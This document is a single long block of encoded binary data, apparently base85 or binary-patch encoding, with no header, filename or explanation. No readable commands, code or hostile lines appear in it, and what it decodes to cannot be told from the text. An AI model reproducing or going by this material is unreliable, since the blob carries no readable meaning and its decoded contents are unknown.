zT;X^RnnbbjYO~X77z#V)4lN9DA!^j)XmVCpYhk8_VF(Xp6WAsk##vsJGD&V|>F-ej+P1j~i#M%mih`c(cMLhl631B)#Px!s#F{0D- zh8-jRI8&KZ@S)*fftCJ^lS9M5wvy?g#LzI;tJiPGk>TX)M;;ks5wh?2KvFsy9w5I+ zL`tF5H#k5x@gM^GOudCAz8b_B?w|lcCB`UVuhVNL)oLfD=)XOdqDPRT|31s^S#Tlx zKZBG0(n%ru7yDC*<8%xmdLV~@LCb6L3Oa>0%|bgJw7fs1m-qFW&S97L?@PQ34WRAq z^h&uKeH(;{j=`e%gIKJmpe7kZR+nDY_Jw3fH))MoCM!Qh%J?_^YL7!2r9~dG!qCYn zPI3$D0B{{ue9 z){kK|+y5)e-fqa`CsG#rODexXq6f;}u6kHbo%+aj{r?E~|6fC3xMSD% zn5Oqlk_dKTU`X3>PMScjH!Lp6Mi6w5t~6#Ks80SB(CJuE4J)WVl4)0n#7`kt$4)*5 ziSSfC)uy@Ogx9HEZFR1*pTt_F_eSKX0 zju_liNf46x+O%K*XfH6@^#M_qoXHZynz2n^sboq9N!#xF*<^+^Gc#L(lC~+#8H~!Y zO^jaZarFSc(U1mEGj*?1E9*RYhXVn1bgapf?=oDbiPvdie0F}dbZMbnSu3wB&M%b~ zDl;e_uuA^rBn@Qh4|Xx2yL4K*23*Q1i5;6m+g?Z>&T1X&^2|(R^(44(Rfp4m(EVp- zMF^RKM47l6LW7(I7#s~Uga^Qkv|uS@NDZdDLr$$HvwXs-ny-SlL^JU|B?9#WLor4^ z*7~n{KAwg&W^eW&3AfXvZzpoIMZsLdDW*Zhzgj;(wVA029YshNp`4#VQlp9 z4LdN9W_pWKQ;nEH!(^u#F^GpsP&H!MM*O6mba%HvrsrB;G zOc@-yf4%f~kIA8L)qhj3VCqTNyP`AnB+HgmQlblfL}i*}>o<>}eo|wWLko{NkxO9P z+pV{}TGATxn$loMvBp_nx-JH9l3dSv^omv$%&E> z)TH;)m$9j)YOXWRVAsGy^2CV~D>yLX)+fN(12hJe&g%^aDCZ(=PLXqk0F0SQk@MY# zc0(XPKwritZ!*ke#<>KFjN{8(Xc8NQbuS!Gdqr`8XR$CO_OB=sjGe3X0sTKp)$$4$r$$Z=#N^o&Ft7CG}t36 zeUp3;y@bjMb(0L@vC2tl)(apikD_yCYZCZKb-|1AcBs1BBh$x!n_g-^2o@ zo$AxyVkNHb)0bDu<;?7e2kg^Z$f$-g#sb9s)?yI&OD+@m+pGk>PxW5uy#zF8BDE(D z)`54~H%gND%f%q^x4TSYdlF+_JXX$XSrPcm!3ewoCpbyo?<@v+zsqIvez&y;^I{Lk zyI8thURo<?iTpjqAo5pSCi3@MiLCqZ%&Vo$hT#MD;p(oZM&a)( z26?~gGI_t>N?xsIU43bO?OyNTc3WLiz`AYXPQCf8AvQ{|zgF zwUC}I&y|qcpGcI&?D!K06Vfz$)*f3ZI)@+!uUAJ6Qvoo35T63jTvv^7(jM}|R+`I& zR0mt;joCGC19lH(6p@}3DQgJjr7r+^f7InJ{Wq=TWxEIBJ~Fg>JP~*2!NiTM z9zRwL(*C&1r2U$ew7TbJYV|l!&oyiwKT!~||G8P-^^x)2G zT0H(vF$nyVE))3gS_v%O@UELpLTL(wQh5Nzy#Eu9mCK%*o?{Hsb(;r@srmB1s;^^o2) zk;YzvEmW&@0jt4xqY3{FJ_QhQzvVL9{Srr8RCa=`Z6srauR)r<`#ipWdF`(Ci_#X zB>Tu>5LV&(?KS;YFTB;ZqCYDD9SKde0n|x+Xme_k_h%9~Jr`41$=*dH66ZrDfcMpu z=_0+U#_GTN_Y*YRr+6>QGnLL!$jNb$#V!=&^h84h#u`e-E#28v3YkC0vkIWlej`Qh z0@!~B6l5eOD6f=|X$Yy6uPl^aC1Pg53^StK@j_)Ugp)avIqSsh z+iwIY7l7)Ml!*Wd{X@z8Jwyi72bBMhcv1|vs&-rZ&!nb z8duu^z}N}ub(|G6ZW&i0!vspO`qi!hgAHVYK*~Z?hz(I$t4jGyyiS$EH>!B3EKZOD z9HzgTUni&eQ}~RKx@TWPshu6Fw^Bl}mev-M;dfhSW`iwC*F?DFge;&EBb@*gqXjUL z3KFmG+erACTk3)l;_?)M5x-t*-$lE591tSVt zVkBnKsQ0T<_UJV|RO&$aj~fBi=Rk+|y%1$JT7n93NT%g_BqVUQBUYcKS|Dw#Sd+?v zR8$R`$E3PsC?yQtD7!%jp9#_0#7ksHLE+{t?1m5$QlZ5&YpUbaT2uyFu0L^|lQlfX zzv+?qxH7LGf*e#3QpM&QUS}6`q_*Fzk?g{|=+#}Xv*mZGH8n6y=u>t@xdpfmt?r?l zs*4mhYOQLIifEzY2p*y(DZMrlqkwl8**x`)z#pnHVa0*^H?5G2u+tn~0DXM401hjF zXkzew+4tkFExSIgH{FE~>FHdd!R(kg_Q6HT*Q;DuMx@T-f)nq+XM{u=rqaa-!5iVL zo{%y=HN$$OQkh?xSy-PfSLRlh7fIMxULrbWF~3eQpgF{t`}DH(rp~`WzqF;!j}U90 zkgrc+jp3nwU~URf>OK9NI@x!^JU(c@?6&Shb+QRx=X+jNV6Y=mSr`38I zlMCTLL>hJskyf_Hs27oHBk;)uu!I=52%7zbQ7%BABIy_dtEM!n+=doTIKL;>GnmP| z{r8hI87N4zSa*Oqhm~BVFBylx#K&DXHmV%B>pEUzaAHEtH{pSdYA0_=S1Ic5Y8JKO zQ|dt&kUH=(#f(V_GGbG@iG(!NvvRqzvc9x5zjRrAfuvsL3YNxZN+>mXZW?9()J=HN zVh@kODwp!@q8C-Sy=K$LgsX*x4G*%D--v@X<6TIE*lW+oE61i1kAz$Thz;Rk?%3SI z%r!Z)qzRw-nknO{m;J7K<_g}7ySX_l<+<_-l`MmnFf*eXv@(DBr8VfFpIl#EE6=Kf zGcT2vmdXnRkDNd1a*Z==7F&wfaqQ8h&U&E}Ptd9_tGzjG)%M$}oQm)4m zUhmO)b5qAjEq|A3(9+Y`VP=TAVBt^|5p#hsmzUb-wGZ=5_Hucxvbg?fMDnh_JWY(S z@2vK&vE8(z?Mce_YTJm*_B(D~WA5*9-!@%Go4STLw_k73GtyjeuBr=Y7?g7LP#?~z z1w}wPx5sUizaha(q5PX^&|UF2eJo*DeR6c#47Pe5X+T{>5lpyi6A`j1z}UpIa^bk4 zhX4RPMHs;5U`J|NsroP}cZPz5U4nn#oe}CAxF;pfPhOZ@d?hP3sqQ0Q zV#}aFR#*75kX3H_?2{K>iRDNngJ9{?^U9Qvxltr$QMC+Q9)@mO#mUE|azQg|QL4QG zqXI3?-g+hDt-?^3&_){o=II4~9TWws5JXCKe27HBLU}H>w*dM~#)_X83-FCS<1x#~ zK0GyfW&;8DQePm38W*~-Cv|bGIl#&3qQEsFIV!Lw;vuy+qyl*}MaF(INI({(%{y>| zfHzgNCPBAfgo%c%VDNN6W%8;A#x_FPzpThBq*@Y{;ShN=vJ%R=uvtqk{Jl0aB<8NpQfy9+~5 z!W3-)_#AaVYz~fM_Sysw(kNywjS%!%On81MPTW8|(;%L~;)%I95RYN;$^eEt?>eT> zs20U*Bx>yd3)s+RH%S!4S}g`MEOS@AwzmPJKKbXFafd;(jf!zqtbbi6_cv4`Ld(8_ zPhkctohDy1Rbd7zdkXzWiPcuI`i2F!nPsj?IiFqW^UvG)t#7q0X1Z3BxXQ8~$9~`j z8_Kmla9cc^BBctf+7dyn?h|AEK#>^h2i=!eDw}*t-(hp@73iMuX@RP7%gwcvo4pv~ zf(IZu2Av1cv^h8i{fK0|6jkph!4R#*A8egTHc@^nZZ;3m{*|OeFvkOQT=D@YE+Q`| z4dLnKtaT;V$A-8gdMg*4e*_=N5w@0O*e?#At>n%=n=a((lP8+^8%RmEqXr z{GM#`wIZ>}Po&tyLAjw)*zd^@7lHFkG}qx6;^LkR@wbb_5P!#ghEOT*Qw;GyVj!8i zkQGOKYN(N9>cXBZ@pp^F5Xa-4|mXNvNR>06&QjZ4OQleo=y$qTqW-A5`w|oV6>9`Qn?* z6Xg3vd95g~u;I-$83hWcRaihkb!+^1*)`$newxF>%q7{BtN&?fclbv@dolP0fc{d7 zUx+Gp|1bMdT%J#3?FsiyE@FqJTh2vOw}^{=B`?Gt+WQoM{%VSg9F#h$M8F?>a~Gs*ACFBfhRzx+Xw_(c~`a9F`qk_j}ZFdWvOJ9WHg|UIKO7n#x~Xf`)$JEJV#LZ_-KD~YT-l};8V zgF4uok$oL^TAk~N@!(vxaD7CI$mIPLY62Hp51CY|$cTYV8E3jdLnl+={JLQmfgng; z$%fA;gA{zJ;zW{cIcR$wukqQS`I=B@5XjzA^Ka_l6chNJ?G`e2lA)bj371~DXK`6c zi3xVx{r`ZeqKMOz?{Hq6p1j*CPI(>7%whwqzZ*115-~&-2DQ7B{K^^fV3#A)oZLP{ z`Cj0p-Ghw0SV63tWKgDkx`*7CxKushJ?0(ysp{9>XWn)y@&i?s2>SX5rKR_3yKJau z&WjS?pd^LNPTgx(IiD2Qwt$~6%wHbzqE-Wru%wJ`9Dobwb7Y#8u7s4>4T;joEJi(t zN*~DF$#k{K7)yueCzfT}pjxj=&uw#<3^l&j;3QUk{g%=XagRkWpzLi3-=e;6bed4s zT9sWDiHSJXG`fu^+S|J!rF_F{I$gX?ZWKJMS0r9p8Ak^u+a7md3K`?{u(-#obKL;I3KL^KF`0IpKb;w2hsU4M(RcN5;8+js#0JU6lN z0zkgT*}b*weS*b+#7UnRkwV18gi((Xw4-u-geqVc>8mNV5g8~?z6%^w80qmS0G>8@ z-95wi$@f{M2PPYddXQ1HFw)~iNRQXt zmL4Um^pLs-rIu4!*$yi^zRA!%rY=DFfJ#ZO8)?1c{#fsz%kUc7?on6Ef6=#r$>c-|iw#7f)mo4%81Tf7hbZnIGU6eVAPt?-FohKLlps&$ zp{vnwyG#j*{F{EYhk<%LeK{#*lu{4c2*%nPlGk+_@I|PJ8-d5yMm`0WEO#p0TP80g zIAk<8Yf1eNFwy|Z8(HGa%P4cwNeJ`}-zU9DCurnUv1Y6vi^*};W@M@ysQHm-Y*ABr zp0eR@K~s?+wSCgPfQcAOP}hw2;t{yGFTzVoMI`Mzg)EX*( z7cwT0y;9fYN=|k-T2_mgae)pJLJ)Du8%*D~AOutaSeZ0JTtbU|2$)Tjxw;C$-Q9I?v}?RJoNLIV;DxPVIZ=uJyHo(#yznV$5M76p;H6Lhy@rzt}QQJ2^O za*ELufHKLDm4#FoC&kjQr%ai~ka@$S)HF(6s#8$E zmIpOCO2$%y#>6V55Ne7_t$qi# zK#_3yGBA8BT>OdhO<9FtA=v16ut|p#l>7h86fL(r&HL6m0O{ftC+&$RhGc3N1_gz5Y-qBF^+IF5{E;!eQbT-CX_G#KN3!8SHFcnUB^eeEuTV3kDcbNM9B(=J$t4`hX-E+@9E5_)IK+8^`$$ZDy9(%;;Fh4SC7`sdz*==ZJ0M+ z=`3(jvHDVAS(nysvU8KEp8^3$0Ye}|+fNZd!i4U754O<>j^qku>a^+*OMw=~-H`S` z%Y%*+c2SaE1a39!F1u)73+Db32Iq`i$WAWEe70WEsEGz+ENj0CxO~uTS@3~WS)hy% z*dD=~rbz>1js5>MY3!#Zp5#N&d!EA-Q14RT=qOu0Vr_K$Jbky>F3Lh@X;;}x;W@$s zz)H^=^cE5izkWtMG*F{7Gb`E0vI3}y0^;KU%%{v25T8gLe}G&x?B*BpmwXVVgXted z)hhiH?dc;s6#aeueD#_>*AMl+_Lsvj6W*IvpBfeC(YMyEieAMfrs^(@HoPS2@yE2` zQbbB;*OjqG-udzQ$ng}SYhrS0{NXXW<=6X%3f%wkbW=KFv*Wv#k(!VD^9~85$7qqAmlz>;vTK2kP)ON z;HdAzDBo<*sP9i5^(*BRk)vKXN>$!r&;s!t%@t#ZpYk2=FlhLXqz?aOa`^M;Z3~fr zfiF+U7Fwv$n1#w7`PM&NwlmxzZ_x>V~83C4`CY z<(w*xYo79I%dHhPSJZtk7IQ`UQ`B@hTYO!Pk^bi#6+R^2JX>5>KLxK-2Aa>%-{0tU z>{9yo7V*!0`uF6ygJR-6f)+KHa&>2-9wtdseO-;_t<5A^ppdL6w|cs)8_ z9VzFSv;A9P>RuS7ktoMIrVW=OQgV6_xZ~lvKoKJUZfCguk+KE$l~yVZgmutv+~IAQ zQ}&U_hcFWv3V%fOkfYLF6|{SUylD9ddO@C?FcnftpiGBE?yquNQrZFsos_EWGF+A_ z#skiY7TFzToCxI{BB@wJ)ZjEk*VWK;2d~gzfg(Y4l7a{lLaL;c7%kqGe9CY6yKnU z4<%RBU-iEHJE+0kEvJDbLs=J&`So_AAXiozUwqyfA1;YKn7n>BQfb%!=iJpqrY(h> z=Dkt@j`lJ15CPx$E&SWYtkK>A%FUma3gcPrL^bbTi)w zsF&(MWycEMR6CPF4X)g*DKcW_&rWRB!{K6kTG^^M5I070QD%m3z{O6C*cunjw4&O? zj%SORA7jV1tlMY!(nG$IwxifjyYfORUoMh9;l-mz=kFPvB6+=~XZY-qqfi)?txie6 zv*=Cwe##+ko%rCJ2t+g`1-PFs2!mO-s?U2B@4^#S4+9g<_l zF5p!`WK7mvDlvWd8HIts`p^3U>%l^rVjygSbc^w90i^7d zMIneYz(p-s9*|xFnB!{mi&BBxohMv_?P#Z-@U3vHW>SA$_nI$DE$16Bmc@&b^Qx_sjwDVkh#6ji_grL^1VAT zUtXR%U(VN@2N?OS6Vx<|ilh}>K@+UnW4P2t!UC>2Uklj^(5 z3Q{Fcl+qRcYfOU{+~AdmWI0b(Y?eqn;&eEa GNzwEF_d@p%&Fgq%(^}Ws^_+wD| zfi}b{Nfrq*l@>R@qP_QO9UEKC#gxduRYT>_Ay^r1lf}d$bq;C6xC6#6K0CF+bDVLi zIEshRx9g(59q;Ht;$D>BtDaP|zA2n$T%`_rocvl~BjBAnSn>+|Sfjdu)>q@_EjFlb zuT7oNDoD7StW#}LXO`zzj-{CDAsMI%&6RrzN#xxW1v2PA_Ol`av%E&-rhzKJsp3-& zc(+}p(oLdru5h?I4p{Zm_^}CIZv(wDZ5yvdtdf!D`?sgUOKo^_$hT;D(27OcMOO>Q zPTBGw_J@uji#D)<+@+0(i<;$Bfsm*T>%|C2HVI^CMF1(R=O&9{H=p*-}zpq*;mdM(9d$U!p)c3F4>EIpIv7&tiH908JiUFE%3WwrLLZ~Ph zppDXoH3qaZ;_YAF&pD7N*-&dOp&{!6Zc*Z~rs|~fiwI9BRzz$RRwaZ1(InD|r^Ta) z6iN^YZyA4#I*0T!cmm$w%*$%Bywb5bmt!Bo+tli{eMK4Yj`d`}x1XMy*Ci^fW~s_Sc#b8?U_g4gSbyRAZ;(Aepj zd@hH)r7g+0NRdk5OY1a$gb3FC&T&+}M?e}Cv!!SbcOAD40y&h0nyKT5$2qdC1V@pz zynR?S_Z8P+*8{*2>7ijSW6&ejLt4fP+eXWLDqudj0=d6)~ z*68kXFL-l5g;@|fqoxrBmv#xop4hZ5Q|Top6e7ZcO2%%yoaSdA$$P)cBjbKnBKokhj^iC9M z(rN^R*rT<8w$Sgzk4+N(!=P6++`~&=T#c0Q>8(Gnk*pD-RAsvebmD1@ko3d9=uD!m z1X_ha_yL++b0R{wpm$`?UIcfs^kqp*^BqDLs8vEuFOZF(Qj#MQfl5+3SUOPd8mk>i zeG>VBkm00vwbwl}i#MIcp8$Iv9SZFcfu*7m&meAsY3h=&&Kcub|sm9w_WofK#sv5j0g>b&SbP#4*=eY?d*o`dO^Gx;hP z8YM_Ns=cQY&Dbk6Cey|{D8VNUe)KgtxEp1VYh$akVJXcpo*J$k)yeMhTx9F3Mb9;41$6 ztg)$yk<9Gny-JGj13mv@gQWO}RBo_zdl>%?f62!op_e?gXN`QQzrWGz$QR^4bgq7+ zoRgmY+^@ow`MF6^`HFLShh7*ZkVwZnrj3;%QtFX|8LKSvp1&O?Sb`B|r8|cN1qR;j zBsdR2SQc)&iIm}({oefg@yUiNpTWiae8)ayf8hQ zUl^Z{q)K!8b(8#&@K?|d08UeMf~u3ZlwAs9X8}JO0ZV%X`XcR`Mh>1jc!(3Fi3TP> z`{eM3pWGNBLvD2t3lyQGiAxb7a7MRRSJxff3%TdC2@2X!N|IDAH<5IR61g#o@}f*- zK!<+f;Z9GyG5th&?=XvfoY4Knu#&ieUF~lfIe+`Vs@Ri4&W8P~v5US=8 z@$%*iWaNPdnV;w2sj(bCQ!G7wAo4u22t{SPzSfA>^tpb>Ge|u=H&_Ai52@T_>)TFZ z`anjZtE}{aP&kmArstzyMiX=~KVBG{T|7E9&ThEv#T0dXC zmghc){?Z}eCum+2Kr^0-K9E6m1$i-B_!BUw&K&wT!TAgYAg9NqaW9mnS0@ zvl1IwW8+4tflwbKYvcyk8UVotuPEtN2GZolEtx4BS!3fCscoFJ2^(wX%Z*d1a^q2H zYs%rw^o_-=7nQ?O<5;%|9S@n0j`Ttf*VDce7HwpeAb$y2r#o-1po#}}ED6L^IzTY> z!l1)IRq_Rb#F!C^Eqj5hVtz6YPX#?d7K&t<=e#gHpi{lT%_=oTCx2YbWHAZf0oBo_ z_$g#-k>!H$CKHmXl>P+|9lb5Pse9#RWRW?b^}pc94y1t47silcjrk(IP=?r~##~)^ z%uE0T2te#)4j_~@<^-J(K|f*>f?ga$kb$!1C8@IJiM)u2Z2xi0-ko1VUTO_rX~5_J z!K`!PuYr7hsUR`7hCGs0N8!jOk9USk$O9|^I7&j6i9pl^Ra5VH5fR^Askf_e^D_2= zg@hIr@>hp);N{lf1%&>$7+$PdNq#gHMM4vahC|>fGg(OLnZgK3$uT4$q^A;FQm9;s zHA=}VV^A_s^t>t+G*6->WsJ&3&HCuYLbG|t{ir`~4QFY{=m5dD;)f0cIs4;+#Mq+3 z;vg1TMGuh0#^l+dIH(hBI$clnwSVz zAxW=Xq#1&9d=RF|1g#Y{;s7F$7&4AV>sWX9b}uD;qloA#8=ICRvD~x7viEpN?V3 zKzZ}FRC#j_p@qWjFxp#JFkm@KfEpUQTB~+St#WalSuO+GRAo(R4CuHJWwTJXQ-;8c z_lC|3&zJA0KXN41zw+W11ID6imI(yD1_6)kRXfak&`uVJ_$&%UpsFP@rbLB^lAsjr zhnrp%9aCzpxgrl=Tc=El^jus8A1_d>rmFQCd=0;MOdgY zRKSr$X?PWss0?q8Dvfm8=}?P+`1HLcdRNn@g}7g-Zttr*>ias>Is)P)S}xf#5c?c*MkXTY_ z-5`DIO{k{m3`idRp^`^prf(=6Iu}7)H5w_DoP7;Vs7MLe5IqPWL)%HezRJ2!iX~qMt_Y5JR^#-6Gh+46z~CBhlY&Vmi-+N z^H16gF;MEHmtEwkOjSqpLq3R-3i?NZ#ut4P|7lOZ;p@bgi>PR_fu!a5>?v-kO ziAlRFN+6MqcT5{AMWie$NU zFCDQH`Xz!R40fV~$nm>^&dIl2zr`ku)e1MD1HF$(H;Squ31OkS3#(F0dGcA0mdjX~ zxMh##qjDB1s~&to(|P5~QoG93ZQcd?rD8)!|E7NF+~6LuZ$uwI{7`>?qu1ft;VXIW zW|DHT!AUwWK5TZs^^7sPgv8>|-^3F=>$&lo$4LUKYbgF)X9C!XRkik!{_i`}} zepLJIZ2WH+Q8VfW;pip%S)}FV6pZrpW_&VT6#b$cm^8Z}eU$8Vd5*fU{HFSof^z;y ze}ALb>KgiAc`nt2_+kBf@|=M%F}xdQ=zdioAauzQiz>vfO*H})U>k*Js->^ZQ(lrwWCP_WA9O_>S5C?s!~Mh}R>$;|^{73~A$F*-mCW#BqOHnS9G@{eS1xOvb&PT@U&tiQj}YyCRvHJz&; z>V566+<&Wgq`usD*~^9YGcFzvMwnGRJ|rjz)7wVzcwD9b#p5HOehfWG2zy7C5Fa7b zlWOJQXD|pNuq!C1{naN!%DDp}dUuo%IRj;7Mm6qum`z7LgW~b$t#n^JUJHtH2o$l3 z?i&`0Z=$hprL;nAZ(A+`tX#Camz~JzG6?Z%S3P0r-`U#kA+-o2tL9^aO{Z` zPiJEsFtJ7&H+kRx}s2yvl%t5?FvhC1q_2T|u;ZV??fczY~|7R%_)?K+1Jt|F{Z zSl=Ygi2EBM(h|l$)PNs7h$8j$;po^Ho+MwmcYbnVd@nAu$GPJU{$zZ9es;bvQy=&J zy1z$W^Lg?wMPT!_!{YH=;C$ncwW{+eUp^RCo=^K!t3FR3gO?nij;ieq(M>^`H60iE znEo0j8wR5e-x)IeWwYsGo4W3*LySwkq1!}9f}-;;pqNTJs8l?ePBFmT;X9RCAv0eF3LXz=taCuRR`Jk48bW;Eh}_i9ns0rWc@s z&ZHytY|z@p**Bt_yx*ov$0+F?*^0tE=0-ZY>5Lc1`_f<4l7MJ|L_JWu-+;P;I$2v9)C(#~f&O|xmQ zbA8$!_c~3iW%Z?zv=8@elq_?-c8A~!+It}=`yl<)D5)o)X}$S)(iy@`h2e~hT=+@a zz-d@3OTA z0EvGdh95GNnB3ZfrcPj%FtW8rgu;P|#aE>Xo z$XOLN0Hb;p(hlhZsnUwvX!*?|>2XTaf@)VU(#{I9mQq_vbtL_iT6{m~dBJ(A>sRDT zXa!$mZH}@Ixu6HfW>s1gTi(yoE)hUIOTzY|yOLfTc z&V$I$BB0}!I>OwVzVqrI=;*cq=zw7XxqjCB=oxZvQ0oOT3D?!KzW<_0_*J^0_7%afFkSm|96{! z@(%NX@-wMGxhyGBGV286?YKyhtzmxFCaApAe5lBXquAn;gi3bJKXx1{svF49+XR(& znGcop0xhgBr#Q7bT7#|_QC%(fIupM4VB4#e)>TxZ!sI#X9J=HN$GO3`H#k8^#Q2B9 z?{so*wbZW4b^@N#id1zW(r{!m0akcmGZ4!8GSp!xzPq>sY`j1I}yjh_5=CeG&Po1YGkep7mt4|*3b8YCk&N!~b^M_d7sKcLKtWx44m!u&de3LLv z9}+-tjf}1yg}uXVsL&p;8k{!!cC{E*@T*84ruxyeyjn^hd}HnwP7>RTJr0H zJOu;^7&g#F0s!zN!*@L#zx6{t+LmzHDlj?_6=*x${)9=~W?~ZD zK8GOPaT)62P*op`CGIH$LOe4yFhryk=aIlrt4(U6>1KAG)GwSH+)~3Gy-ZnS@$Rl? zXo20Lv?|6VjJU5*oqf2vRFQPO;I%-h@79_@0I{r;$Q8Mj-AB~Ih80DY!FE;oYgTaU zSg%}?XQKS|0uaCK)#yElzkF^=GyAMns#Q{T+!8`oxb>KvBG885h;yCWVI#S7qL78V6N0~jSAvsA+!T=O%B6#41zdVnMc$us;J4`9JMsy`A!nnS*?`(Iwe5( zbyN`dInt)N;(4u(j93^JnAxyVfHkg6rY|TDyivg55>bJnib{#&5os1gys9^dQHYto z0%SReaAiNKG)xpLt)?g&C(VMm2|2|-jUPM2l@e9jBr(w3kX~W6J0Yf3tU1)R5CcEy z7^uXGN-~XM8%Q`oGX0k4{w`jAN&B9GjFy#t)i_JL()lz`yD9swEm%8QoBJ)XO7OIR z$Yd{-xwYS!BpW7Gjf70(t_YAlSO}KdK9n3kwiFpeE{Dq_3Zu>Kyf!D>V`;+9s7njM#mp$`IjD7nW2ZJ5arAw1K90V_5zuj~Sc8Y891}vk4Z`v#}@htqIp#$ zGEJ4GbhHQ&*}aOt9X3)G6A7R3^w}$YO>{2O>czC)d`|N9$VbVB-bk=X7=w~FL223f z=QA@j%NaT>?OIvQ&>xJ#slD&QH^)Rq5sQ-^ieCmk+KQsr7tDkzlpE7*FF_l#_;_0>id z&LX(EsEBVEXkQD7%Q!#ixxLJj_RrCT41Z#>&V?0 z?hu-PI@m~wORMb^1xNAjPX@(NWTd#f2%*68m$HwFtfi{9h1&7a4d&`_hSE?_^m#S8 zPV=WILM-pa%eIKpm6j^9eW$M6vAe;!hK9dXXiJVyaOLP`l^=qZV(bDV)QeKSVo=oY z2=&GG(h{Bo4nkeWkc?-yE=a|5Zm4Pq_n*2p|J4ar5TYVduGq9nIyHU2yWQ&WS-|}n zD}H8%z2PfT*OsoU84rg+5%2H+;sP58j3cTJ&PElzf3TOBewI1j_2DcRnqXtq-=!uh zOanDYlXktVG|{WaL_gmnBC5AuXkd{3pTw~}e;aaGhl)7AEt~|5EU{tePVn$Mzm^0}y5pTK*OJTKM44BmLQ~t=$ z&!opVXVPOB9s|*c&!oqo#{a%UhYlS)cikJ+lXht4VewFc+lrTqL%dd!*hm;u?i($ixYpbraRDqcvihGrlA^NoPoD=VgBCu+hfzVE!pN5>2cC@72$PbLU-5Q1e2Pkx7MAmU(vVbg z7W0%$DWcR-d>$TySjr9cJD>y{#E?@os@8;rzsg>6f*4Lhn+)k&uhdG_HvZ*Ece=kS zQpxe`l;G3$YY5>|XNARgN70Nz#mvKGj_c~=6D@62>8-V@>oA&BQF#)PFs@%(K@*G; zXa19uBlZZ?D#fdk%Y8R~`pfLc9#=hE#59QvIFaP^og}4F!KZj#<=bbN>x!U%xUh? zNJ7HtI3jvrMnV$Db1w1c`L6!W9h=-Anue}8- zg9(9W!nzTi5VAy;7&bic$qLo|K`-J8U<&@{cMCguB3F$o{*) zY1^f=K*d`j8XI+ACL78oOP=GMa=`}b6eLIh6QsyOY9m5V{dM?(iPgkcnF%P1fr0!o zxYYDK<`?md5+CuHZ48AxNe+9tUTV`CEdu}5)6#7N>5Tzd2dmT=pDb9#n1nAQm?_DiXpEBw3DIHV* zslS}rPS1t@QrO?S-5?f~Sg6>Qg~H@aZfbFCT(sX3g066!c$P(V?+6(6WleugH;W(g z^E>D-9kI{*J9c*p3Swi&B-yz|TJFOZX%6iud5B&Z<(=fFX`4tzq|~yWAS#i&<}sLRy@ao!J=mk;{7nB~a+1dZSd11XzOmRSvz{B=wQJh@e(; zLH|qBRzLL5@Vbwr?j|zA+sg?n8!rJf_~-_L&emHZ5>Z*~hjvG|1iE%Kfc?-+z2^0_ zO9|(ls^ik*<|MK;!7hLk+`2PmU~@ubS-mys;~eQ$+R!$okK}Dv+U)oqrH^BX;Q4*p zZF^RB$QQGiKYAcnb(_rtqwR8~Zu7pUuS1l@#%JE4uEvxxt^&UFkS?dno7Q!NTO4(m zIp`33&|zjt6+}2+is2SfB-{QVs2s3C-;*)Eo`At|BW4Yv0xl&zmo zcxrDvR9>8ZlDu6FLv5P+No)G9=`s<50#NXL;OPPC9u=P_0z?_?l^%A)+`UpTHRL3c zqP&~XH5$mN(R^NPkWwP%!h6t!?D-Dc2#-r=t&H-EZpLI-F2~0Or7#`(A(mLOvLvGOS+?#M<|4O&=H8+r7uBtgrKa zMw8^*2!8r0Ga~XW>IYULEc{EK>xcY=c2ieGrHl|J*@U_Eb2zrMnd&Ef{k+#6Vs)Zm z)}v!yB;dF(Ha~gK_&lM(gb=rfKecu3AGs05POgNJKWdd!eiT!5(`nk;-5L zJM`~RS%fdKj2!MQs$ZtP`tzuFLJ`= zVQ~q#T_XW@xWfJw(rtF*X8^pL&3Mr96wY9tB%-c?gv6m#Gxaxi!T<(;H<1#OA$O;b zj_yv`FD1ByQ?HWz%CWzHESxGCI9G>$Ho7rIp#ZHkhDwgp-lA;=74~*(w7*$cZ*VP) zvNMjxWtg_%H0F{ZE&`TIVv55tmbw#SmtHW(F*k6B&@ac&to8u|U{?fTQPzb_RIliB z{gCf(V%H`^GJU)qReJ!VF@Rg9E8kZLgydG-TFt9cEYAZ?$D#4QjDBec@dN+TASVy` zVe*5aAuDA~4ORg6WzVm`IDtFV4@;F3yZukEEyDgQR(jkd#kF z(qp1X5_-~U10~v3SfVN|S_GwgI)M^z?PezmLS?dED&1=jl%8P`lYx zXWE0MXIX@$6RB8wR1{06&DwUqJs^6vMIb7qg6PT^h$c~`mlindm$m2EgCf@=6ctlZ z6f=J32}P`NTMwg>JuoU;1S2mMMwdo~(ZcMU_4rw`2S3Xe;b$ckKhmW-;kn$iW(QoV z&$Wb|G(2>G+}mjm;V{`n@mxV`%%%EBAr2|Ph9$ z*(rNqv~CfM9!iDL?x{+8 zwYZHgF3e7kE&x-P^xsm^B#Y55c>ZbyJ&0tQq5~FWmLK*COZZ9SLkGycgPtFU$@all2wG##47t!C z$zpnPW^}56fadXu$(ixYEIe%|z)A}#t;kswDXu%7ANDHn!xDGKkHuhQwL9a-JHlBW z2B1+u?ifv*EUeK3!`V;RgR@u1aAvZ&dQB>ft`NJcKwRB3J~K9(Sv}i|W8{WDkbkY!QZjDiuRA z^+K0MW8?X|5oCB;VCgOPVCk(EVdE|p$($A+N z$%z>NpmNX6&*tFEfGz2?5KQl~2Tt#{2u|-wg_8^?(lw^p#f8(z9`Ig!(DVxyq3M08 zXp+UN0yGhn@^j;(cV`!uHn3Ih7wrMkFIfbnUrq&5T=ym*9UmVZn>#)Ww>>yvw}I*X z_F(B(EW*;SreZ0+#3?Klrcu3W;WTjce!w0y{hCE+`d})W(v~=Bue4q)eaIdl{kla! z`fw_cWQC82t~5V8J8eCRK4K4wK57w)K9-82xH*6px7_UX^y1894nh30nFa6qsr|P)Q;hXjqQ8eO& z?=4Z&odTEMFXY|TM%A0Zy$UU-+49>ZE?2TvX{~U3p5+QI=rs8(2OWew>fjSx3{6Uk zo-f)2HPB#a^;wnL{SHy?IP>0v?TSw=f7<0rU0kA4Tjo#OppcpZImf9=-*4f^lAz7c z(a_T&$KK>%y5AOb#$tb^v>Tr*Oe{`K73M~BcaJaR3$rs*nPn`!iyMdpJ!srk%dZsM zEp)bFjCkk>;nbJVm`d*xu}`&sKNPZ*BESQ8>SNrs^ngbn;+`QEz2<%}@$>dz?~4pPJFxe=so0aD3c%iIE;l|0 z*yX23LlDxO$|5TG{r$(^8p~J)A%VPA;jU-h0P*+i0pcH81jH|;0#T;_0*KmTjXlK7 z!u;%1Rxtc>|6vH!)z{Fc4{efp$&RkKZuzWw0gH#4^YCCWab~)1J$os1l6ymLRD7Q1ytuI7jnn52I=Pp3erZURa$Yf 